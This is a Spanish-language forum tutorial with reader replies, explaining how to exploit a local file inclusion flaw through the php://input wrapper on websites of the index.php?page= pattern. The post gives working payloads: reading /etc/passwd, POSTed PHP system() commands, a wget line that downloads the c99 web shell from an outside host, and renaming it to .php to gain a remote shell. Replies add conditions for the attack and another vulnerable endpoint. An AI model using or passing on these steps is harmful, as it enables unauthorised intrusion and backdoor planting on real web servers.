(http://www.chmag.in/system/files/imagecache/IssueBlock/secure-coding-php_1.jpg)
Hola, esta vez les dejare un tutorial, la cual consiste en subir una SHELL explotando la vulnerabilidad LFI via "php:input" , solo basta con inyectar algunos códigos para obtener la misma.
Que es el LFI? Es una falla en la programacion de una aplicacion; falla mediante la cual se pueden incluir archivos que se encuentren en el servidor como por ejemplo el /etc/passwd o algun otro archivo de configuracion que nos provea de informacion para atacar el sitio.
Ahora bien, empecemos...
Algunos de los sitios webs vulnerables a LFI, tienen este aspecto:
www.sitio-web.com/index.php?page=
www.sitio-web.com/index.php?file=
Ahora bien... para comprobar si realmente el sitio web es vulnerable a LFI, tenemos que ver si la web puede leer el "etc/passwd" cosa que el sitio web quedaría de la siguiente forma:
www.sitio-web.com/index.php?page=/etc/passwd
Si el sitio web puede leer dicho código, la web quedaría asi:
(http://i48.tinypic.com/21jqelk.png)
Como vemos en la imagen, ya comprobamos que el sitio web es vulnerable a LFI.
Ahora, haremos el siguiente paso, para subir una shell al servidor.
Necesitaremos lo siguiente:
Navegador: Firefox
Addon: HackBar
(http://i47.tinypic.com/2ug11lz.png)
Ahora vamos a tratar de poner este método en acción.
Cargamos la url vulnerable al HackBar e inyectamos el php://input la cual quedaría asi:
www.sitio-web.com/index.php?page=php://input
Habilitamos el "Enable Post data" y colocamos el siguiente comando:
<? system('uname -a'); ?>
Ejemplo:
(http://i50.tinypic.com/6fxutj.png)
Otros comandos:
Lista de directorios
<? system ('ls'); ?>
Identificación
<? system ('id'); ?>
Convertir el formato
<? system ('mv file.txt file.php'); ?>
Descargar
<? system ('wget'); ?>
Ahora, vamos a utilizar el comando <? system ('wget'); ?> para descargar alguna shell en el sitio.
Utilizaremos esta shell en .txt: http://r57.biz/c99.txt
<? system ('wget http://r57.biz/c99.txt'); ?>
(http://i45.tinypic.com/21lmpti.png)
Ahora, comprobaremos si la shell se descargo perfectamente, ejecutando el siguiente comando:
<? system ('ls'); ?>
Si la shell, se descargo perfectamente, en este caso lo veremos como c99.txt
(http://i48.tinypic.com/23howtj.png)
Ahora, como ya sabemos que nuestra shell se ejecuto perfectamente, tenemos que cambiarle el formato a .php para poder ingresar a la misma desde el navegador, solo basta con colocar el siguiente comando:
<? system ('mv c99.txt calebbucker.php'); ?>
(http://i48.tinypic.com/2i135vl.png)
Ahora, listamos nuevamente los directorios y apreciaremos nuestra shell en .php
(http://i46.tinypic.com/24me4yb.png)
Ahora, en este caso nos dirigimos a www.sitio-web.com/calebbucker.php y Voila tenemos nuestra shell!!
(http://i46.tinypic.com/1zx4g9d.png)
No Entendistes?
Observa el VideoTutorial en 1080p HD!
Espero te sirva y lo uses con prudencia.
Saludos.
Estuve probando con varias paginas vulnerables a lfi pero ninguna de ellas pude hacer el php://input :(
Aunque fueran por post me puse a mirar con el http live headers para ver si se enviaba por post correctamente y si! habia unas paginas que no me tiraban nada, otras que me tiraban un error de file stream open, es decir, que no se podia abrir un archivo en php xD!, tambien cuando no me salia nada me fije en el codigo ctrl+u para ver si estaba algo pero nada, a lo mejor es por que ya solucionaron este bug? bueno igual puede aver alguno igual me sirvio para aprender :D
Se te olvido decir que para utlizar el wrapper php://input las directivas allow_url_include y allow_url_fopen tienen que estar ON, por consiguiente dicho LFI se convertiria en un RFI, y seria al pedo ejecutar comando de esa manera puediendo incluir directamente una shell a travez de la url.
Buen post igual! ;)
Muy bueno conocia el de Tamper Data injectar en el request la shell..
Te Hago una pregunta muchas veces he encontrado sitios a los cuales les hago esta inyeccion en un campo ejemplo:
download.php?id=/etc/passwd
Si y cuando hago esto me descarga el archivillo con toda la info a mi equipo, me confunde algo este tipo de inyeccion y no sabria si al inyectar la shell en ves de alojarla en el servidor me la descargue al equipo, no he vuelto a encontrar sitios asi como para probar con HackBar
Muchas Gracias por tus Buenos Aportes